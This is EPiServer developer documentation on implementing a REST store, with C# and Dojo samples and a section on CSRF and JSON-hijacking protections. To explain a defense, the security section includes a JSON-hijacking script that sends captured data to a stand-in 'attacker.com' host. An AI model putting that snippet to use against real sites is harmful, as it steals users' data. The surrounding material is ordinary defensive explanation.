November Happy Hour will be moved to Thursday December 5th.
November Happy Hour will be moved to Thursday December 5th.
This document describes how to implement the REST data store in EPiServer Framework.
When creating a new REST store you must implement a handler class inheriting from RestControllerBase. This base class extends the ASP.NET MVC controller base class with a custom action invoker for executing methods depending on the HTTP verb in the request. The post-data is also automatically de-serialized into the reserved method parameter entity. You can implement the following basic REST operations:
Implementing the actual REST methods in the handler is as easy as adding a method named as the http verb it responds to. When defining the method parameters you have to consider the following reserved parameter names:
When you have implemented your store it must be registered using a RestStore attribute on the store handler class with the name of the store.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using EPiServer.Shell.Services.Rest;
namespace CodeSamples
{
// A model class
public class Fruit
{
public int id { get; set; }
public string Name { get; set; }
public int Amount { get; set; }
}
[RestStore("examplestore")]
public class StoreHandlerSample : RestControllerBase
{
private static int _uid = 1;
// Define some sample data
private static List<Fruit> _items = new List<Fruit>() {
new Fruit() { id=_uid++, Name = "Banana", Amount = 1 },
new Fruit() { id=_uid++, Name = "Orange", Amount = 51 },
new Fruit() { id=_uid++, Name = "Apple", Amount = 12 },
new Fruit() { id=_uid++, Name = "Cherry", Amount = 67 },
new Fruit() { id=_uid++, Name = "Chili", Amount = 100 }
};
public RestResult Get(int? id, ItemRange range)
{
// When requesting a specific item we return that item; otherwise return all items.
if (id.HasValue)
{
return Rest(new[] { _items.FirstOrDefault(f => f.id == id.Value) });
}
else
{
return Rest(_items.ToArray());
}
}
public RestResult Put(Fruit entity)
{
// Update the posted entity
Fruit fruit = _items.First(f => f.id == entity.id);
fruit.Name = entity.Name;
fruit.Amount = entity.Amount;
return Rest(String.Empty);
}
public RestResult Post(Fruit entity)
{
// Create a new entity
entity.id = _uid++;
_items.Add(entity);
return Rest(entity.id);
}
public RestResult Delete(int id)
{
// Delete the entity having the supplied id
Fruit fruit = _items.FirstOrDefault(f => f.id == id);
if (fruit == null)
return Rest(false);
_items.Remove(fruit);
return Rest(true);
}
}
}
In the example above, an _items list containing sample data of the type Fruit is created and modified using basic REST operations. Since the store handler is attributed with the RestStore attribute, it will be registered automatically when the web application starts. This is done in the module initialization, where all attributed classes inheriting from RestControllerBase will be registered with a url according to the store name specified by the attribute and the name of the contining module according to the URL pattern below:
Assuming that the store is created in a module named samples, the URL would become the following:
To set up the store you can register it in the store registry in a client module initializer:
define([
// Dojo
"dojo",
"dojo/_base/declare",
//CMS
"epi/_Module",
"epi/dependency",
"epi/routes"
], function (
// Dojo
dojo,
declare,
//CMS
_Module,
dependency,
routes
) {
return declare("alloy.ModuleInitializer", [_Module], {
// summary: Module initializer for the default module.
initialize: function () {
this.inherited(arguments);
var registry = this.resolveDependency("epi.storeregistry");
//Register the store
registry.create("alloy.examplestore", this._getRestPath("examplestore"));
},
_getRestPath: function (name) {
return routes.getRestPath({ moduleArea: "app", storeName: name });
}
});
});
..and here is an example on how you can get the store and issue a query to it from a widget:
define([
// Dojo
"dojo",
"dojo/_base/declare",
// Dijit
"dijit/_WidgetBase",
"epi/dependency"
], function (
// Dojo
dojo,
declare,
// Dijit
_WidgetBase,
//EPiServer
dependency
) {
return declare("app.components.StoreSample", [_WidgetBase], {
// summary: A sample widget that uses a REST store.
store: null,
postMixInProperties: function () {
if (!this.store) {
var registry = dependency.resolve("epi.storeregistry");
this.store = registry.get("alloy.examplestore");
}
this.exampleMethod(123);
},
exampleMethod: function (id) {
dojo.when(this.store.get(id), function(returnValue){
console.dir(returnValue);
}
}
});
});
The REST implementation currently has two measures for preventing Cross Site Request Forgery. An attack where a malicious website tricks an authenticated user into sending a request to a vulnerable site to either modify or steal protected information.
For protecting against cross site request forgery protection using the Synchronizer Token Pattern. This implementation consists of a cookie token containing a random byte sequence encrypted with a site specific hash. A header field based on the same token, but with a salt is then added and validated for every post, put and delete request. The tokens are created as described below:
R = random data
S = Salt
H = Site specific secret
Cookie Token:
R + (R hashed with H)
Posted token:
R + ((R + S) hashed with H)
The only thing exposed to the client is the random data which is re-generated for each session.
A special form of CSRF attack is JSON Hijacking, where an attacker uses the possibility of defining custom property setters or custom Array constructors in JavaScript. The target of this attack form is JSON formatted data returned for GET requests. The attacker would then define a custom setter for the Object prototype or a custom Array contructor to intercept the data as the JSON formatted string is parsed into JavaScript objects. When the target service then is included in the same web page using a <script> reference, the attacker’s code gets executed.
The following example uses the possibility of defining custom setters for anonymous JavaScript objects to steal data:
<script>
Object.prototype.__defineSetter__("name", function(data) {
var s = "";
for (f in this) {
s += f + ": '" + this[f] + "', ";
}
s += "date: " + x;
// send information to the attacker’s server
document.images[0].src="http://attacker.com/?data=" + s;
});
<script src="http://my.host.com/jsondata"></script>
To prevent against this type of attack the EPiServer REST implementation prepends all JSON data with {} && which renders the data invalid as a JavaScript, meaning that it cannot be interpreted when included in a script element.
For more information about prevention of Cross Site Request Forgery attacks, visit Preventing CSRF Attacks.
Last updated: Mar 21, 2013